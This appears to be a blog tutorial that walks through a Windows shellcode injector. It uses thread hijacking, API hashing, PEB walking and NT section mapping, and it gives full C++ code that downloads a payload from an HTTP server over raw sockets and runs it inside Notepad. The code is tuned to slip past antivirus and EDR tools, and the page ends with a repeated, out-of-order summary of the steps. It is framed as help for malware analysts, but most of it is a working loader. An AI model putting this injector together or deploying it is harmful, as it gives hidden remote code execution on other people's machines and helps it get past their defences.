Remote injection

Remote Process Injection via Thread Hijacking with Dynamic API Resolution and Hashing-Based Stealth Execution

Windows
Malware
Programming
Code
Banner image

What we will create?

We’ll examine remote process injection and the techniques attackers use to hide it things like thread hijacking, API hashing with dynamic resolution, walking the PEB to locate modules, and abusing undocumented APIs. These methods show up in many RATs (for example, njRAT), so understanding them is useful for anyone doing malware analysis or hardening defenses. I didn’t cover some advanced evasion tactics here for example, unhooking and syscall-based tricks but we’ll note where they fit in the bigger picture.

Remote injection?

when you first read "remote injection" it sound hard to do, but it's so easy to implement, but the hard part how to evade detection because it's widely recognized technique by EDR. to achieve this attack we need to do the following steps:

  1. Opening a Handle to the Target Process (OpenProcess):Before any interaction with a remote process can occur, a handle to it must be obtained. A handle is an object that represents a reference to a resource, in this case, the target process. The OpenProcess function is used for this purpose. It takes the process identifier (PID) of the target process and the desired access rights as arguments. For this injection technique, the handle must be opened with at least the PROCESS_VM_OPERATION( Grants permission to perform operations on the virtual memory of the target process.Use functions like VirtualAllocEx or VirtualFreeEx to allocate or free memory inside another process.), PROCESS_VM_WRITE, and PROCESS_CREATE_THREAD access rights.
  2. Allocating Memory in the Target Process (VirtualAllocEx): Once a handle with the appropriate permissions is acquired, the next step is to allocate a region of memory within the virtual address space of the target process. This is where the payload will be written. The VirtualAllocEx function is used for this remote allocation. It requires the handle to the target process.
  3. Writing the Payload to the Allocated Memory (WriteProcessMemory): With memory allocated in the target process, the payload can now be written into it. The WriteProcessMemory function copies a block of memory from the current process (the injector) to the allocated memory space in the target process. It takes the handle to the target process, the base address of the allocated memory, a pointer to the payload in the injector's memory, and the size of the payload as arguments.
  4. Executing the Payload with CreateRemoteThread:The final step is to trigger the execution of the injected payload. This is achieved by creating a new thread within the target process that starts its execution at the beginning of the injected code.

Thread Hijacking?!

So, you’ve written some code (our "payload") and injected it into another program, like Notepad.exe. Now, how do you make it run? One option is to use a Windows function called CreateRemoteThread, but that’s like blasting it’s loud, obvious, and likely to get noticed by antivirus or security tools because it triggers alerts like notifythread. Instead, in this project, we’re using a sneakier method called thread hijacking. (we’ll touch on another cool technique called APC injection in a future blog!) Let’s break down thread hijacking in a simple way, steering clear of complex assembly code.

How Does Thread Hijacking Work?

Think of a thread as a worker inside a program, busy doing tasks. Every thread has two key things:

  1. Registers: These are like sticky notes where the thread keeps track of important values, like where it’s currently working in the program’s code (called the Instruction Pointer, or IP).
  2. Flags: These are like status tags that show what happened after the thread did some work, like whether a calculation resulted in zero or a negative number.

When we hijack a thread, we’re basically sneaking in, borrowing that worker for a bit, and making it run our code instead of its usual job. Here’s how we do it, step by step:

  1. Find a Thread: We pick a thread in the target program (e.g., Notepad). Every program has threads running tasks, like updating the screen or handling your typing.
  2. Pause the Thread: We use a Windows function (SuspendThread) to put the thread on hold, like telling the worker to take a quick nap.
  3. Change the Instruction Pointer: The thread’s Instruction Pointer (IP) is a register that points to the next piece of code it will run. We swap it out to point to our payload the code we injected basically redirecting the worker to our task.
  4. Wake the Thread Up: We resume the thread (ResumeThread), and it starts running our payload instead of its original job.
  5. Restore the Thread: After our payload runs, we pause the thread again, put the original Instruction Pointer back, and let the thread continue its normal work. It’s like the worker never knew they were diverted!

Why Is This Sneaky?

Unlike CreateRemoteThread, which creates a brand-new thread and screams “Hey, I’m doing something suspicious!” to security tools, thread hijacking reuses an existing thread. It’s quieter because the thread was already there, doing its thing, so it’s less likely to raise red flags.

API hash and obfuscation

API hashing and import obfuscation are advanced techniques commonly used by malware authors to conceal the operating system (OS) functions that their malicious code relies on. To understand this, let's start with some basics for those new to the topic.

In a typical Windows executable (like a .exe file), when a program needs to use functions from system libraries (such as those in DLL files like Kernel32.dll), it declares these dependencies upfront in a structure called the Import Address Table (IAT). The IAT is essentially a list inside the executable that says, "I need these specific functions from these DLLs." When the program runs, the Windows loader automatically resolves (finds and loads) these functions by their names and fills in their memory addresses in the IAT. This makes it easy for security tools, like antivirus software or Endpoint Detection and Response (EDR) systems, to scan the executable and spot suspicious API calls such as those used for file manipulation, network access, or process injection that might indicate malware.

Malware authors want to evade this detection. Instead of statically listing function names in the IAT (which would be a dead giveaway), they use import obfuscation to resolve these functions dynamically at runtime. This means the code figures out the function addresses on the fly while the program is running, without any explicit imports in the IAT. To make it even harder to detect, they often employ API hashing: instead of using the actual function names (which are human-readable strings like "CreateFileA"), they compute a hash (a numerical fingerprint) of the name and use that hash to look up the function. This hides the intent from static analysis tools that scan for string patterns.

From a defender's perspective, this technique alters two key indicators of compromise:

  • Static signals: The IAT no longer reveals the imported functions, making it tougher to flag the binary as malicious before it even runs.
  • Dynamic signals: Runtime behavior might still be monitored by EDR tools, but if done cleverly, the malware can avoid triggering alerts based on common API usage patterns.

Let's break down how this works step by step, using an example where the malware wants to call the ResumeThread function (which is exported by Kernel32.dll and could be used to manipulate other processes). We'll explain why standard Windows APIs are avoided and how custom implementations are created instead.

Step 1: Getting the DLL's Base Address

To call a function in a DLL, you need its base memory address in the process. Windows provides GetModuleHandle for this e.g., GetModuleHandle("Kernel32.dll") returns Kernel32.dll's address. But using it directly exposes the function in the Import Address Table (IAT), alerting Endpoint Detection and Response (EDR) tools to dynamic loading.

Malware avoids this by manually traversing the Process Environment Block (PEB), a Windows structure tracking loaded modules:

  • Access the PEB via the Thread Environment Block (TEB), available to every thread.
  • Follow pointers to the InMemoryOrderModuleList, a list of loaded DLLs.
  • Search for the DLL (e.g., by hashing its name) to get its base address.

This custom approach avoids GetModuleHandle to stay stealthy. we will see it in the code late.

Step 2: Finding the Function's Address

With the DLL's base address, the next step is locating the target function's address (e.g., ResumeThread). Windows offers GetProcAddress for this, but like GetModuleHandle, it’s detectable in the IAT or at runtime.

Instead, malware parses the DLL’s Export Address Table (EAT) in the Portable Executable (PE) header:

  • Navigate the PE headers from the DLL’s base address to find the EAT.
  • Iterate through exported function names (or their hashes) to match the target.
  • Compute the function’s address.

What I Changed?

In the code, I switched from traditional remote process injection using WriteProcessMemory and VirtualAllocEx to a manual mapping technique for better evasion. Why? These standard APIs are heavily monitored by EDR tools, making them easy to detect. Instead, we use lower-level Native APIs (NTAPI) from ntdll.dll like NtCreateSection, NtMapViewOfSection, and NtUnmapViewOfSection to create and map shared memory sections. These act as stealthy containers for shellcode, mimicking how Windows legitimately handles memory (e.g., for DLL loading or inter-process data sharing).

Why is this better? Manual mapping avoids flagged APIs, blends with normal OS behavior, and reduces the detectable footprint by bypassing the Import Address Table and runtime logs. It’s common in advanced malware and APTs to bypass security. The process: Create a kernel-managed "section object," map it into the target process’s address space, copy the shellcode, and execute it.

Code

Hash and dynamic loading (optional)

here are the functions hash, for more info about how i got this hash in what function see this.

main.cpp
1DWORD hkernel = 7956615; 2DWORD hNtdllDLL = 14124863; 3DWORD hWs2_32=9086291; 4DWORD hCreateToolhelp32Snapshot = 10088781; 5DWORD hProcess32FirstW = 13869664; 6DWORD hProcess32NextW = 965099; 7DWORD hCloseHandle = 12442059; 8DWORD hThread32First = 1384466; 9....

now we need to create custom way to get the model base address. so how it work?

  1. Accesses the Process Environment Block (PEB) using __readgsqword (64-bit) or __readfsdword (32-bit) to locate the list of loaded modules.
  2. Iterates through the InMemoryOrderModuleList in the PEB’s loader data.
  3. For each module, converts its Unicode name to ANSI, extracts the base name (e.g., "kernel32.dll"), and computes its hash.
  4. Compares the computed hash with the input modulehash.
  5. Returns the module’s base address (HMODULE) if a match is found, or NULL if not.
main.cpp
1HMODULE ManualGetModuleHandle(DWORD modulehash) 2{ 3// The PEB (Process Environment Block) is a data structure that holds information about a process. 4// Its location in memory is fixed relative to a segment register. 5#ifdef _WIN64 6 // On 64-bit Windows, a pointer to the PEB is stored at offset 0x60 from the GS segment register. 7 // `__readgsqword` is a compiler intrinsic that reads a 64-bit value directly from this location. 8 PPEB peb = (PPEB)__readgsqword(0x60); 9#else 10 // On 32-bit Windows, the pointer is at offset 0x30 from the FS segment register. 11 PPEB peb = (PPEB)__readfsdword(0x30); 12#endif 13 if (!peb || !peb->Ldr) 14 return NULL; 15 LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList; 16 LIST_ENTRY *current = head->Flink; 17 while (current != head) 18 { 19 PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(current, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 20 if (entry->FullDllName.Buffer) 21 { 22 char name[MAX_PATH] = {0}; 23 WideCharToMultiByte( 24 CP_ACP, // Code Page: Use the system's default ANSI code page. 25 0, // Flags: 0 for default behavior. 26 entry->FullDllName.Buffer, // Input: The wide-character string to convert. 27 entry->FullDllName.Length / sizeof(WCHAR), // Input: The length of the string in characters. 28 name, // Output: The buffer to store the converted ANSI string. 29 sizeof(name) - 1, // Output: The size of the output buffer. 30 NULL, // Default Char: Use system default if a character can't be converted. 31 NULL // Used Default Char: We don't need to know if a default was used. 32 ); 33 char *baseName = strrchr(name, '\\'); 34 if (baseName) 35 baseName++; 36 else 37 baseName = name; 38 _strlwr_s(baseName, strlen(baseName) + 1); 39 if (CalculateHash(baseName) == modulehash) 40 { 41 return (HMODULE)entry->DllBase; 42 } 43 } 44 current = current->Flink; 45 } 46 return NULL; 47}

now that we have the base address we want a way get the function address the function is simple it does the following:

  1. Verifies the DLL’s IMAGE_DOS_HEADER (checks e_magic for MZ signature).
  2. Locates the IMAGE_NT_HEADERS and verifies its signature (PE).
  3. Accesses the Export Directory via the NT headers’ data directory.
  4. Iterates through the export table’s function names, computing each name’s hash.
  5. If a name’s hash matches the input functionhash, returns the function’s address using its ordinal to index the address table.
  6. Returns NULL if no match is found or if headers are invalid.
main.cpp
1 2FARPROC ManualGetProcAddress(HMODULE hModule, DWORD functionhash) 3{ 4 IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)hModule; 5 6 if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) 7 { 8 return NULL; 9 } 10 11 IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)((BYTE *)hModule + dosHeader->e_lfanew); 12 if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) 13 { 14 return NULL; 15 } 16 17 IMAGE_DATA_DIRECTORY *exportDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 18 if (exportDir->VirtualAddress == 0 || exportDir->Size == 0) 19 { 20 return NULL; 21 } 22 23 IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)((BYTE *)hModule + exportDir->VirtualAddress); 24 DWORD *functions = (DWORD *)((BYTE *)hModule + exports->AddressOfFunctions); 25 DWORD *names = (DWORD *)((BYTE *)hModule + exports->AddressOfNames); 26 WORD *ordinals = (WORD *)((BYTE *)hModule + exports->AddressOfNameOrdinals); 27 28 for (DWORD i = 0; i < exports->NumberOfNames; i++) 29 { 30 char *name = (char *)((BYTE *)hModule + names[i]); 31 if (CalculateHash(name) == functionhash) 32 { 33 return (FARPROC)((BYTE *)hModule + functions[ordinals[i]]); 34 } 35 } 36 return NULL; 37}

now to resolve any function dynamically we can do this.

main.cpp
1HMODULE ntdll = ManualGetModuleHandle(hNtdllDLL); 2 pNtCreateSection NtCreateSection = (pNtCreateSection)ManualGetProcAddress(ntdll, hNtCreateSection);

Download the payload

instead of add the shellcode in the payload, the payload will try to fetch the payload for a http server, using raw socket for evading detection here is the function.

  1. Load Winsock Library: Gets Ws2_32.dll address using ManualGetModuleHandle (by hash) or LoadLibraryA to avoid detection. note here we can do our own version if LoadLibraryA but i will leave this to you.
  2. Initialize Winsock: Calls WSAStartup to set up network operations.
  3. Create Socket: Creates a TCP socket for HTTP communication.
  4. Parse URL: Extracts host, port, and path from the URL (e.g., http://example.com/payload → host: example.com, path: /payload, port: 80).
  5. Connect: Sets up server IP/port and connects using connect.
  6. Send HTTP Request: Builds and sends a GET request (e.g., GET /payload HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n).
  7. Receive Data: Gets response with recv, finds Content-Length, and copies payload to outBuffer.
  8. Cleanup: Closes socket (closesocket) and Winsock (WSACleanup).
  9. Return: Returns true on success, false on failure, with len set to payload size.
main.cpp
1 2bool downloadPayload(char* outBuffer,long& len,char* url) { 3 4 5 HMODULE ws2_32 = ManualGetModuleHandle(hWs2_32); 6 if (!ws2_32) { 7 ws2_32 = LoadLibraryA("Ws2_32.dll"); 8 if(!ws2_32){ 9 return false; 10 } 11 } 12 auto [succes, port, host, path] = extractUrlComponents(string(url)); 13 14 if (!succes) { 15 return false; 16 } 17 18 pWSAStartup fnWSAStartup = (pWSAStartup)ManualGetProcAddress(ws2_32, hWSAStartup); 19 pSocket fnSocket = (pSocket)ManualGetProcAddress(ws2_32, hSocket); 20 pInetPton fnInetPton = (pInetPton)ManualGetProcAddress(ws2_32, hInetPton); 21 pConnect fnConnect = (pConnect)ManualGetProcAddress(ws2_32, hConnect); 22 pSend fnSend = (pSend)ManualGetProcAddress(ws2_32, hSend); 23 pRecv fnRecv = (pRecv)ManualGetProcAddress(ws2_32, hRecv); 24 pClosesocket fnClosesocket = (pClosesocket)ManualGetProcAddress(ws2_32, hClosesocket); 25 pWSACleanup fnWSACleanup = (pWSACleanup)ManualGetProcAddress(ws2_32, hWSACleanup); 26 pHtons fnHtons = (pHtons)ManualGetProcAddress(ws2_32, hHtons); 27 28 if (!fnWSAStartup || !fnSocket || !fnInetPton || !fnConnect || !fnSend || 29 !fnRecv || !fnClosesocket || !fnWSACleanup || !fnHtons) 30 { 31 32 if (ws2_32) 33 FreeLibrary(ws2_32); 34 35 return false; 36 } 37 WSADATA wsa; 38 if (fnWSAStartup(MAKEWORD(2,2), &wsa) != 0) { 39 return false; 40 } 41 42 43 SOCKET s = fnSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 44 if (s == INVALID_SOCKET) { 45 fnWSACleanup(); 46 return false; 47 } 48 49 50 sockaddr_in sa; 51 ZeroMemory(&sa, sizeof(sa)); 52 sa.sin_family = AF_INET; 53 sa.sin_port = fnHtons(port); 54 wstring wide_server = wstring(host.begin(), host.end()); 55 if (fnInetPton(AF_INET,wide_server.c_str(), &sa.sin_addr) != 1) { 56 fnClosesocket(s); 57 fnWSACleanup(); 58 return false; 59 } 60 61 if (fnConnect(s, (sockaddr*)&sa, sizeof(sa)) == SOCKET_ERROR) { 62 fnClosesocket(s); 63 fnWSACleanup(); 64 return false; 65 } 66 67 string request; 68 request += 'G'; request += 'E'; request += 'T'; request += ' '; 69 request += path; 70 request += ' '; request += 'H'; request += 'T'; request += 'T'; 71 request += 'P'; request += '/'; request += '1'; request += '.'; 72 request += '1'; request += '\r'; request += '\n'; request += 'H'; 73 request += 'o'; request += 's'; request += 't'; request += ':'; 74 request += ' '; request += host; request += '\r'; request += '\n'; 75 request += 'C'; request += 'o'; request += 'n'; request += 'n'; 76 request += 'e'; request += 'c'; request += 't'; request += 'i'; 77 request += 'o'; request += 'n'; request += ':'; request += ' '; 78 request += 'c'; request += 'l'; request += 'o'; request += 's'; 79 request += 'e'; request += '\r'; request += '\n'; request += '\r'; 80 request += '\n'; 81 82 int sent = fnSend(s, request.c_str(), (int)request.length(), 0); 83 if (sent == SOCKET_ERROR) { 84 fnClosesocket(s); 85 fnWSACleanup(); 86 87 return false; 88 } 89 vector<char> tmp(1024); 90 int total = 0; 91 int bytes; 92 while ((bytes = fnRecv(s, tmp.data() + total,tmp.size() - total, 0)) > 0) { 93 total += bytes; 94 } 95 char* payloadLenStr = strstr(tmp.data(),"Content-Length:")+sizeof("Content-Length:"); 96 len = strtol(payloadLenStr,nullptr,10); 97 char* ptr = strstr(tmp.data(),"\r\n\r\n") +4; 98 memcpy(outBuffer,ptr,len); 99 100 fnClosesocket(s); 101 fnWSACleanup(); 102 return true; 103 104};

Process injection and hijacking

the main logic. The inject function downloads a payload (e.g., shellcode) from a URL and injects it into a target process (specified by processName) using stealthy manual mapping to avoid detection. Here’s how it works.

  1. Get Native APIs: Uses ManualGetProcAddress to resolve NTAPI functions (NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection) and others (OpenProcess, OpenThread, etc.) by their hashes, avoiding detectable API calls.
  2. Find Target Process: Uses findProcess (this simple function you can see it from the code no need to explain it.) to get the process ID (PID) and thread ID (TID) of the target process (e.g., Notepad.exe). Opens handles to the process and its main thread. the thread used for the hijacking.
  3. Download Payload: Calls downloadPayload to fetch the payload from the URL into a buffer and get its size (payloadLen). (you might change the buffer size base on your payload)
  4. Create Section: Calls NtCreateSection to create a shared memory section (a kernel-managed block) with read/write/execute permissions to hold the payload.
  5. Map to Current Process: Maps the section into the current process’s memory using NtMapViewOfSection. Why map here first? Mapping to the current process provides a safe, controlled environment to copy the payload into the shared section. This avoids directly writing to the target process, which could trigger EDR alerts or cause instability. Alternatively, mapping directly to the target process and using a remote write function (e.g., WriteProcessMemory) is riskier, as it’s more detectable by security tools and may fail if the target process’s memory state is unpredictable.
mian.cpp
1 2int inject(char* url,char *processName){ 3 pNtCreateSection NtCreateSection = (pNtCreateSection)ManualGetProcAddress(ntdll, hNtCreateSection); 4 pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)ManualGetProcAddress(ntdll, hNtMapViewOfSection); 5 pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)ManualGetProcAddress(ntdll, hNtUnmapViewOfSection); 6 7 pOpenThread fOpenThread = (pOpenThread)ManualGetProcAddress(kernel32, hOpenThread); 8 pResumeThread fResumeThread = (pResumeThread)ManualGetProcAddress(kernel32, hResumeThread); 9 pSuspendThread fSuspendThread = (pSuspendThread)ManualGetProcAddress(kernel32, hSuspendThread); 10 pCloseHandle fnCloseHandle = (pCloseHandle)ManualGetProcAddress(kernel32, hCloseHandle); 11 12 pGetThreadContext fGetThreadContext = 13 (pGetThreadContext)ManualGetProcAddress(kernel32, hGetThreadContext); 14 pSetThreadContext fSetThreadContext = 15 (pSetThreadContext)ManualGetProcAddress(kernel32, hSetThreadContext); 16 17 auto fnOpenProcess = (PFN_OpenProcess)ManualGetProcAddress(kernel32, hOpenProcess); 18 19 if (!NtCreateSection || !fnOpenProcess || !fGetThreadContext || !fSetThreadContext || !fOpenThread || !fResumeThread || !fSuspendThread || !NtMapViewOfSection || !NtUnmapViewOfSection || !fnCloseHandle) 20 { 21 return 1; 22 } 23 24 DWORD pid; 25 DWORD tid; 26 27 28 29 30 31 char buffer[8096]; 32 long payloadLen; 33 string proName = string(processName); 34 if (findProcess(proName, pid, tid)) 35 { 36 cout << "PID: " << pid << "\nTID: " << tid << endl; 37 } 38 else 39 { 40 return 1; 41 } 42 HANDLE hTarget = fnOpenProcess( 43 PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_READ, 44 FALSE, 45 pid); 46 if (hTarget == INVALID_HANDLE_VALUE) 47 { 48 return 1; 49 } 50 HANDLE hThread = fOpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, tid); 51 if (hThread == INVALID_HANDLE_VALUE) 52 { 53 fnCloseHandle(hTarget); 54 55 return 1; 56 57 } 58 59 bool success = downloadPayload(buffer,payloadLen,url); 60 if(!success) { 61 fnCloseHandle(hThread); 62 fnCloseHandle(hTarget); 63 return 1; 64 } 65 66 // 1 67 HANDLE hSection = nullptr; 68 LARGE_INTEGER sectionSize; 69 sectionSize.QuadPart = (LONGLONG)payloadLen; 70 NTSTATUS status = NtCreateSection( 71 &hSection, // [out] PHANDLE SectionHandle: Pointer to a HANDLE that receives the created section object. 72 SECTION_MAP_READ | // [in] ACCESS_MASK DesiredAccess: Specifies access rights for the section. 73 SECTION_MAP_WRITE | // Allows reading, writing, and executing the section. 74 SECTION_MAP_EXECUTE, // Combines SECTION_MAP_READ, SECTION_MAP_WRITE, and SECTION_MAP_EXECUTE. 75 nullptr, // [in, optional] POBJECT_ATTRIBUTES ObjectAttributes: Pointer to object attributes (e.g., name, security); nullptr for default. 76 &sectionSize, // [in, optional] PLARGE_INTEGER MaximumSize: Pointer to the maximum size of the section (in bytes). 77 PAGE_EXECUTE_READWRITE, // [in] ULONG SectionPageProtection: Memory protection for the section (PAGE_EXECUTE_READWRITE allows read/write/execute). 78 SEC_COMMIT, // [in] ULONG AllocationAttributes: Allocation type (SEC_COMMIT allocates physical memory immediately). 79 nullptr // [in, optional] HANDLE FileHandle: Optional handle to a file to back the section; nullptr for anonymous section. 80 ); 81 if (status != 0) 82 { 83 return 1; 84 } 85 randomSleep(); 86 // 2 87 PVOID localBaseAddress = nullptr; 88 SIZE_T viewSize = payloadLen; 89 status = NtMapViewOfSection( 90 hSection, // [in] HANDLE SectionHandle: Handle to the section object (from NtCreateSection). 91 GetCurrentProcess(), // [in] HANDLE ProcessHandle: Handle to the target process (here, current process; for injection, use target process handle). 92 &localBaseAddress, // [in, out] PVOID* BaseAddress: Pointer to the base address where the section is mapped (nullptr to let system choose). 93 0, // [in] ULONG_PTR ZeroBits: Number of high-order address bits to zero (usually 0 for default allocation). 94 0, // [in] SIZE_T CommitSize: Amount of memory to commit (0 to commit the entire section). 95 nullptr, // [in, out, optional] PLARGE_INTEGER SectionOffset: Starting offset in the section (nullptr for beginning). 96 &viewSize, // [in, out] PSIZE_T ViewSize: Size of the mapped view (0 for full section; updated on return). 97 ViewUnmap, // [in] SECTION_INHERIT InheritDisposition: Specifies how the mapping is inherited (ViewUnmap for non-inheritable). 98 0, // [in] ULONG AllocationType: Additional allocation flags (0 for default; e.g., MEM_TOP_DOWN for specific placement). 99 PAGE_READWRITE // [in] ULONG Win32Protect: Initial protection for the mapped pages (e.g., PAGE_READWRITE for read/write access). 100 ); 101 if (status != 0) 102 { 103 fnCloseHandle(hSection); 104 return 1; 105 } 106 // 3 107 randomSleep(); 108 memcpy(localBaseAddress, buffer, payloadLen); 109 randomSleep(); 110 PVOID remoteBaseAddress = nullptr; 111 status = NtMapViewOfSection(hSection, hTarget, &remoteBaseAddress, 0, 0, nullptr, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ); 112 if (status != 0) 113 { 114 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 115 fnCloseHandle(hSection); 116 117 return 1; 118 } 119 // 4 120 if (fSuspendThread(hThread) == (DWORD)-1) { 121 fnCloseHandle(hThread); 122 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 123 NtUnmapViewOfSection(hTarget, remoteBaseAddress); 124 fnCloseHandle(hSection); 125 126 return 1; 127 } 128 CONTEXT threadContext; 129 CONTEXT originalContext; 130 131 threadContext.ContextFlags = CONTEXT_FULL; 132 if (!fGetThreadContext(hThread, &threadContext)) 133 { 134 fResumeThread(hThread); 135 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 136 NtUnmapViewOfSection(hTarget, remoteBaseAddress); 137 fnCloseHandle(hSection); 138 fnCloseHandle(hThread); 139 return 0; 140 } 141 originalContext = threadContext; 142 threadContext.Rip = (DWORD_PTR)remoteBaseAddress; 143 if (!fSetThreadContext(hThread, &threadContext)) 144 { 145 fResumeThread(hThread); 146 fnCloseHandle(hThread); 147 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 148 NtUnmapViewOfSection(hTarget, remoteBaseAddress); 149 fnCloseHandle(hSection); 150 return 0; 151 } 152 153 if (fResumeThread(hThread) == (DWORD)-1) 154 { 155 fnCloseHandle(hThread); 156 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 157 NtUnmapViewOfSection(hTarget, remoteBaseAddress); 158 fnCloseHandle(hSection); 159 return 0; 160 } 161 cout << "trigger\n"; 162 Sleep(9000); 163 if (fSuspendThread(hThread) == (DWORD)-1) 164 { 165 fnCloseHandle(hThread); 166 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 167 NtUnmapViewOfSection(hTarget, remoteBaseAddress); 168 fnCloseHandle(hSection); 169 return 0; 170 } 171 172 if (!fSetThreadContext(hThread, &originalContext)) 173 { 174 fResumeThread(hThread); 175 fnCloseHandle(hThread); 176 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 177 NtUnmapViewOfSection(hTarget, remoteBaseAddress); 178 fnCloseHandle(hSection); 179 return 0; 180 } 181 182 if (fResumeThread(hThread) == (DWORD)-1) 183 { 184 fnCloseHandle(hThread); 185 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 186 NtUnmapViewOfSection(hTarget, remoteBaseAddress); 187 fnCloseHandle(hSection); 188 return 0; 189 } 190 191 NtUnmapViewOfSection(GetCurrentProcess(), localBaseAddress); 192 NtUnmapViewOfSection(hTarget, remoteBaseAddress); 193 if (hSection) 194 fnCloseHandle(hSection); 195 if (hThread) 196 fnCloseHandle(hThread); 197 if (hTarget) 198 fnCloseHandle(hTarget); 199 return 1; 200}

let's test our code.

first let's open http server and expose our shellcode.

as you can see i typed the http url and the target process which is notepad.

Notice that Notepad froze because we suspended its thread to inject the payload and changed the RIP, stopping its normal code execution. After completing the injection, we restored the original context, and as shown in the picture, Notepad is now responding again. because of this you should to pick the thread that is related to ui or background thread.

Let's see what's happening in the background?

Let’s open WinDbg As you can the code mapped the shellcode to the memory address 0x00000172931F0000.

  1. Start WinDbg: Launch WinDbg and attach it to the process (e.g., Notepad.exe or the injector) where the shellcode was injected.
  2. Search Memory: Use the address 0x00000172931F0000 to inspect the memory. In WinDbg, type db 0x00000172931F0000 in the command window and press Enter. This displays the memory contents at that address.
  3. Check Shellcode: Look at the hex values (e.g., x48 x83 xec x28) to confirm the shellcode is present. This matches the payload shown in your code editor, proving it’s correctly written to memory.

Let’s see how the code tweaks the RIP (Instruction Pointer) to run the payload and restores it in WinDbg:

  1. Original RIP: Thread starts at 0x7c1c14b2000 (orange).
  2. Change RIP: Sets RIP to 0x0000017C143B8000 (green) to run the payload (e.g., “Hello world”).
  3. Run Payload: Thread executes the shellcode after resuming.
  4. Restore RIP: Resets RIP back to 0x7c1c14b2000 (red), letting Notepad run normally again.

Why?: This swaps the thread to the payload, then restores it to avoid crashes or detection!

is it detectable?

Published 9 days ago

  • Copy Payload: Copies the downloaded payload into the mapped section.
  • Map to Target Process: Maps the same section into the target process’s memory, making the payload accessible there with execute permissions.
  • Modify Thread: first Suspends the target thread using SuspendThread we need to stop. second Gets its full context (a snapshot of CPU registers) using GetThreadContext. Why save full context, not just RIP? RIP (instruction pointer) only tells where the thread is executing. The full context (including registers like RSP, RAX, etc.) ensures the thread’s entire state is preserved, so it can resume normally after injection. in the end Saves the original context, sets RIP to the payload’s address, and updates the thread with SetThreadContext.
  • Execute Payload: Resumes the thread with ResumeThread, letting the payload run. Waits briefly, then suspends the thread again.
  • Restore Original State: Restores the thread’s original context to ensure the target process continues normally without issues.